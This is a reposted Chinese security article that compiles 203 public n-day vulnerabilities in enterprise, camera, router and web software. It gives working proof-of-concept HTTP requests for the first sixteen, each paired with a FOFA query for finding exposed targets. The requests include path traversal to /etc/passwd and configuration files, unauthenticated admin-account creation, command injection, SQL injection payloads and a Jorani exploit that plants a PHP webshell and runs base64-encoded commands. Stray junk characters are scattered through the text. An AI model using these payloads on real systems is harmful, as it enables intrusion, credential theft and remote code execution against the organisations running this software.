互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
, f  R7 `; r- n) s道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
% h. i* W' G( I+ G
: f- o1 E6 x6 k安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。


0 S1 `# @7 V9 I- z5 N& K' ]4 p* Z" ]声明
% \8 M# Y0 p& J' x/ S4 e& N
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。

8 M6 D- r1 [4 G" S$ k( Q
; E2 r5 s9 ~# T/ w' S/ |9 u1 k! a
目录

2 C+ e1 \% w% V" w. _01

& z! S7 b+ q+ T+ [1. StarRocks MPP数据库未授权访问
/ g4 f* I4 I: ^, F+ @  m9 ]" Z2. Casdoor系统static任意文件读取
, Z- v8 d2 @# f( I$ t3. EasyCVR智能边缘网关 userlist 信息泄漏
2 n& f, Y1 O; V8 a4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
/ K' x& ]1 X+ @" u7. 鸿运主动安全监控云平台任意文件下载
$ H* f2 G2 I- x# m9 ]8 q8. 斐讯 Phicomm 路由器RCE
; A! L" Z1 D8 j/ r9. 稻壳CMS keyword 未授权SQL注入
: T$ _$ K4 `2 A, X! Q+ c: s& @0 W10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
+ \9 o' d" F0 U8 k12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
  J4 f3 U: Q6 e) S% u  R+ f15. 华夏ERP getAllList信息泄露
- ~9 D9 C/ j- d16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
' @: K1 b5 P9 D$ J18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
7 @5 p3 V0 Q, Q1 ]) ?; a20. 大华ICC智能物联综合管理平台任意文件读取
  L+ X: `! N* k  o4 K21. 大华ICC智能物联综合管理平台random远程代码执行
% j. L4 H- q" L# U0 F6 }22. 大华ICC智能物联综合管理平台 log4j远程代码执行
* j  s6 {& R7 E, M9 I; Z23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
* u6 |9 P% R7 E/ P& f26. 用友NC linkVoucher SQL注入
' ?8 _9 u8 _0 x, y; x% X27. 用友 NC showcontent SQL注入
6 j' b7 X* n0 Z28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
' m% ]2 V5 I& v) O; d# J30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
$ ^. _! Z& Q4 B! o32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
( h, m- B% c' T4 a$ Y1 e38. 用友U8 Cloud smartweb2.RPC.d XXE
: D& k; `. S! `8 M1 p+ {; N39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
% T8 `: U% M3 b5 C6 a( k2 M0 w. W43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
2 r* O! V2 a7 w47. 用友GRP A++Cloud 政府财务云 任意文件读取
* W- J% h( x5 i- @48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
* }+ c7 n0 ]2 j1 i  T9 ^* j52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
2 `: ^9 }% l8 W54. 畅捷通T+ getstorewarehousebystore 远程代码执行
, O9 `4 V6 t( q) Y) V8 G; y55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
) B0 C/ ], C+ X! W57. 畅捷通T+ keyEdit.aspx SQL注入
; q" q. E; g* g; n0 K$ C58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
/ [$ W( P, \4 W# w, w- F60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
& O) w( R: b( I2 A" [- C, ~63. IP-guard WebServer任意文件读取
* u$ q% X! I. \/ @2 c) S0 C64. 捷诚管理信息系统CWSFinanceCommon SQL注入
# Y4 m' g1 l5 _65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
8 ?# q7 C3 p5 ~: G: X, e67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
7 r: S7 w* P7 x$ ^69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
' i9 u2 }6 h* C) J0 Y72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
9 O, @- Y" i8 `( R74. 致远M3-server 6_1sp1 反序列化RCE
6 m5 s4 W$ B- G3 A* X1 P4 _75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
* N8 b2 s( _; P" e, e; @1 @0 }77. F22服装管理软件系统UploadHandler.ashx任意文件上传
3 |9 L. R, [3 Y; @4 S78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
" _9 k' m' O+ z: E9 |8 B82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
0 z5 q1 y; |5 S( r6 Z9 i84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
( c  r* d4 }' c/ \, P5 a- B87. 安恒明御安全网关aaa_local_web_preview文件上传
4 K1 e% f7 v7 f7 G2 d88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
9 E: P6 @/ y; ?0 V89. 致远互联FE协作办公平台editflow_manager存在sql注入
" s0 |& X- x* Y4 C90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
; N6 w/ D5 z; r8 i4 _! N% T91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
  c7 X2 p1 }* W3 g# L9 Y, P$ W92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
# U1 W0 f- S. O% W3 k, H+ ^99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
& f& A" V, E8 D. A6 U0 A; |101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
/ ]0 h. n0 L( |/ N; i3 i- J# \105. SpringBlade v3.2.0 export-user SQL 注入
8 I, E) \: W3 u* u106. SpringBlade dict-biz/list SQL 注入
( X  _4 x0 L9 s6 q107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
5 L& l" ~/ j' {/ |. d110. Goanywhere MFT 未授权创建管理员
) X' K4 p, n, h/ s, a: r# J111. WordPress Plugin HTML5 Video Player SQL注入
; r- i. P: u5 _9 h% n" a112. WordPress Plugin NotificationX SQL 注入
3 h  f3 W3 m( H. _113. WordPress Automatic 插件任意文件下载和SSRF
0 \+ [% e( W5 ?( o# _5 r* O! o6 R! I- |5 `114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
) H# \3 t$ x6 {# P) ^- ~116. wordpress js-support-ticket文件上传
* Z' ]: q9 C5 X; j117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
) C% ?& Z! W) c* }# [# B122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
, T. F7 t5 ]6 M3 D124. 湖南建研工程质量检测系统任意文件上传
3 R( p3 \1 N% r0 [125. ConnectWise ScreenConnect身份验证绕过
' t, w4 ?! X1 K4 H* r) i% }3 A126. Aiohttp 路径遍历
2 s! M$ R! B+ i/ _" @127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
! N( n( S# E0 s- C  q3 ~129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
3 m' n3 r: }3 i' O4 ]131. Mini-Tmall <=20231017 SQL注入
, l* O2 ~* m, ^/ N( M6 y" W8 V) q132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
! ~4 E  W) E& e/ d" q1 i! e133. H5 云商城 file.php 文件上传
& M& G% ^+ M( v" o6 [, _134. 网康NS-ASG应用安全网关index.php sql注入
6 V$ {+ X- x: G3 I3 o- r% E# Z& x9 X135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
  {. o2 {  n4 A$ g6 ~139. 福建科立讯通信指挥调度平台editemedia.php sql注入
: s( Q7 T, J; y. c& C' L140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
& Y. \+ G, P* E2 B: E141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
" w  q( \" Y. A142. CMSV6车辆监控平台系统中存在弱密码
* H2 U# W7 h0 ]( r0 @; l  W; s143. Netis WF2780 v2.1.40144 远程命令执行
+ \4 _, Y* k. J144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
4 {. f1 K6 o9 _) ^- }146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
% {. ?& p5 L: {! a% ~$ j2 x7 x0 {148. CrushFTP 认证绕过模板注入
7 @. ^% n# g2 o* V; B/ S149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
4 `( `6 ~1 L$ T2 k3 W' u9 W# X  M151. AJ-Report 1.4.1 pageList sql注入
8 F0 S1 d5 e1 p; Z152. Progress Kemp LoadMaster 远程命令执行
4 o, U- s! N+ M; a& I  p( Y153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
7 c" R( T3 }- \5 G0 d/ L155. 六零导航页 file.php 任意文件上传
$ o3 M+ s* T; t; K156. TBK DVR-4104/DVR-4216 操作系统命令注入
& B3 l* ^( y1 {) G* Q  {157. 美特CRM upload.jsp 任意文件上传
, `, r" |5 G9 _7 H5 j3 R: T158. Mura-CMS-processAsyncObject存在SQL注入
. s4 C% N" L9 o3 X8 P! J$ F: |% Q159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
8 N# A9 v1 r2 q2 g2 ?! X160. Sonatype Nexus Repository 3目录遍历与文件读取
0 d9 L( K2 l9 P2 b0 }7 A9 b% }161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
" A) M1 s) Z; `4 `$ \- z162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
7 e* y8 m/ R) C  j165. OrangeHRM 3.3.3 SQL 注入
2 y3 |: T) U! ]7 X& C166. 中成科信票务管理平台SeatMapHandler SQL注入
: ~  R% O+ C' j" M8 y$ {167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
) \6 Y6 q' L0 \' z$ @' K/ |* u169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
' I2 |. G; m& A) U/ `172. DT-高清车牌识别摄像机任意文件读取
6 S$ G1 P( d. `7 h( r6 t173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
0 e' H8 A* P9 v# a) X. g176. 电信网关配置管理系统 rewrite.php 文件上传
( R6 o" T# A0 H8 s177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
: k1 ]1 A" M1 E+ Q, q179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
: c* @% W; D- ~182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
: w# b& F/ X7 x% a8 l( u9 N183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
; p& I/ ?4 y# f0 U6 B184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
! ?/ O5 P1 U/ L' d185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
: }) t0 P, @2 u/ ?1 W% e+ O; }! k191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
, q. [+ N# x& A: ~: q192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
& b) W( N" H0 Y) A' w% {4 s199. cockpit系统assetsmanager_upload接口 文件上传
6 k$ \1 C6 t% Z- e200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传
) M* G# s( M) ^, z/ u" Z
POC列表

4 B4 Z* h. o1 z  D/ i3 X% I2 h02

1. StarRocks MPP数据库未授权访问
' j, {3 Z7 _: M+ |& ]FOFA ：title="StarRocks"
- X, O3 F" m( f; h* [6 p. N% KGET /mem_tracker HTTP/1.1
2 v* U+ j1 f6 ^( cHost: URL
2 |& u0 F* y* d, Q' ^1 `

2. Casdoor系统static任意文件读取
3 z' \+ r1 C6 wFOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
6 ^0 y5 p; i6 C' V$ ]5 aUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
  P5 p4 O( r5 y* u. bConnection: close
Accept: */*
6 J( Q/ ?+ b' O+ n. oAccept-Language: en
Accept-Encoding: gzip

; n) y8 a- Q! r5 X) U) S
3. EasyCVR智能边缘网关 userlist 信息泄漏
0 b& f' l* H9 D* MFOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
0 U$ M; r8 m; W& r; N$ \Host: xx.xx.xx.xx
$ f! T7 J" _/ `# |2 z) ~( w; {

$ \' G) c  }: c# }4. EasyCVR视频管理平台存在任意用户添加
1 S; g& ^& F# q7 YFOFA ：title="EasyCVR"
5 m. d- x# i1 f8 A3 }( r
9 t9 ?9 ?  @/ }1 E) q6 mpassword更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
, G( ]" x- d+ tContent-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

3 p( q+ o* `: G/ G8 _8 c8 A
" V5 t: f* K" F$ ~" c) B( }5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx


6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
5 {% S. t4 i! r- aHost:

5 \2 @- k2 t* ^: l- S4 x
, P4 c* T  j$ c' q7. 鸿运主动安全监控云平台任意文件下载
, R+ S) T4 p* uFOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
5 n+ M5 q. i3 z% z

8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
" c. p1 d5 B- e2 YHost: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

. L1 q" c' O7 b- v# h" {1 U2 D; K2 q------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
+ k/ z+ y6 P+ h: N& {6 G
%s
. i, N' D% \/ _- @------WebKitFormBoundaryxbgjoytz
% w8 J0 s0 c1 M' [Content-Disposition: form-data; name="wifiRebootrange"

12:00; id;
------WebKitFormBoundaryxbgjoytz
  w  _" `( R# {1 `# I  vContent-Disposition: form-data; name="wifiRebootendrange"
- s1 a8 o5 G+ h3 k, P4 a' E
%s:
------WebKitFormBoundaryxbgjoytz
& D; Q2 [2 o, M- z" M1 mContent-Disposition: form-data; name="cururl2"
0 V0 D8 D1 L' R# B% b- k2 U# ^
9 e0 y; F$ ?0 `7 ~- I7 W! n1 C& N
0 J- F1 n5 D  F9 H8 |------WebKitFormBoundaryxbgjoytz--


9. 稻壳CMS keyword 未授权SQL注入
2 E6 b" z, u  |6 W( B; o! r$ pFOFA：app="Doccms"
" O8 T5 p: @4 }6 ?GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x


payload为下列语句的二次Url编码

/ G. O( g# v- _& @' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

8 E3 h' E8 O* m" M$ ~10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
* z5 |7 c* k! N" p! AFOFA：icon_hash="953405444"

5 Y! ~. Q" V- r& ]' b文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
+ y0 i) R3 m8 ?, [) J  U7 K+ b5 hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
) A) r9 m9 y* W8 y* Y  FContent-Length: 197
, M' l- @# Y( jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  \0 I7 H) \2 qAccept-Encoding: gzip, deflate
* X8 j" m+ b. W; ]6 G; VAccept-Language: zh-CN,zh;q=0.9
( Y( u/ |  d& C0 w- ^# OConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
6 h' J) l' d$ a2 h& FContent-Type: text/html

4 B9 M9 K9 B# G0 k- d; Ojmnqjfdsupxgfidopeixbgsxbf
6 i0 P8 H- y5 R8 L9 }------WebKitFormBoundaryxdgaqmqu--


11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
9 O5 F3 A$ T  R5 QHost: 127.0.0.1
/ A' R( ^2 \! a4 KPragma: no-cache
Cache-Control: no-cache
1 I3 G2 ~+ x2 l+ O, M5 R0 MUpgrade-Insecure-Requests: 1
  }. a! w! ?, t) N' XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
7 J8 P8 q/ l3 H0 b2 }" t第一步先拿到cookie
: ]. u( x( N0 C: [" ?GET /session/login HTTP/1.1
7 Z; G% j% J: M$ A/ H0 o; d! IHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
" m& c& C* V- u3 A& Q4 F8 D, h4 g4 `Connection: close
* A) t" W2 m( j; T3 m9 C' ?! p+ N8 WAccept-Encoding: gzip
. O3 ^/ L7 r& |6 b- [
) m0 Z' y8 ~: G( Z$ I
: L& L7 S: M0 U0 F响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
5 E# Q& ~  A! {4 v' K4 T  I- r9 oCache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
1 ]$ S( s" J; f& H3 QExpires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
: V: z. L' f( W4 UPragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
; l0 w* I/ w% u7 W) ySet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
$ A( p, y) r3 @% b$ zVary: Accept-Encoding


7 f( O& M# j4 D( m6 EPOST请求，执行函数并进行base64编码
6 l; m9 z; y' J! v9 A! h! wPOST /session/login HTTP/1.1
: ?2 s( z2 b6 V3 c3 w1 {Host: 192.168.190.30
4 Y2 _: s7 p. Y) \6 vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
; u, C# h( {/ ]7 a  bAccept-Encoding: gzip
2 @: X+ [9 c  @) d! y* x7 ^
$ [, ~0 B* B3 ^csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
* ^0 h. I8 ^4 y4 b
/ a' t/ P" u7 t, q4 N' o+ S; v: i% j
- z9 ~7 r, Q: C9 ?* {
$ k3 r+ ]' v% Q向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
5 c  D& h4 J6 e2 X, l% oGET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
: E/ G, {; W+ K& RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
( C6 A7 V% @$ d/ g) |Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
  m1 \- Y: F( h/ S7 ^  a* Z6 |Accept-Encoding: gzip


/ k& }( ^! f; Q  a13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
5 b$ Y& G& P, w$ W' u+ B5 Z  D/ g$ W6 @Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
% h# {5 [% f$ b1 J: Q$ lConnection: close
! M5 p1 Z5 E- g, oAccept: */*
& I0 Z6 T# N* vAccept-Encoding: gzip
" k& t9 a1 l- E) W3 ~

. ?- B0 b& L. [$ b14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
' n' o+ p' G6 @, e: QGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
4 T0 x1 i" B: AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
3 i4 W% m8 i7 }) d* tConnection: close
; Z$ o4 n- D5 CAccept: */*
: j0 _  m6 q5 i8 C7 l/ lAccept-Language: en
Accept-Encoding: gzip
% D: @5 h. Z4 b# ]9 h

! d* x1 u$ u2 d7 u$ \15. 华夏ERP getAllList信息泄露
CVE-2024-0490
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
1 ~6 W$ j2 I" {Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
4 ^+ |8 O+ U2 F% w6 p& P% NAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
, m8 V4 y( c& q0 w8 G8 l' HAccept-Language: en
! z2 _) k  v. T' q7 A9 J' qsec-ch-ua-platform: Windows
Accept-Encoding: gzip
4 `% w2 Y! C( B* x3 j/ ^& O; \
$ i( |' \) t/ s
7 H: B% D' G0 ]1 C1 Z% G! s) j16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
1 W$ I; K: z" ]5 Z( g1 {# cGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
1 L# F5 b1 c3 D; UHost: x.x.x.x
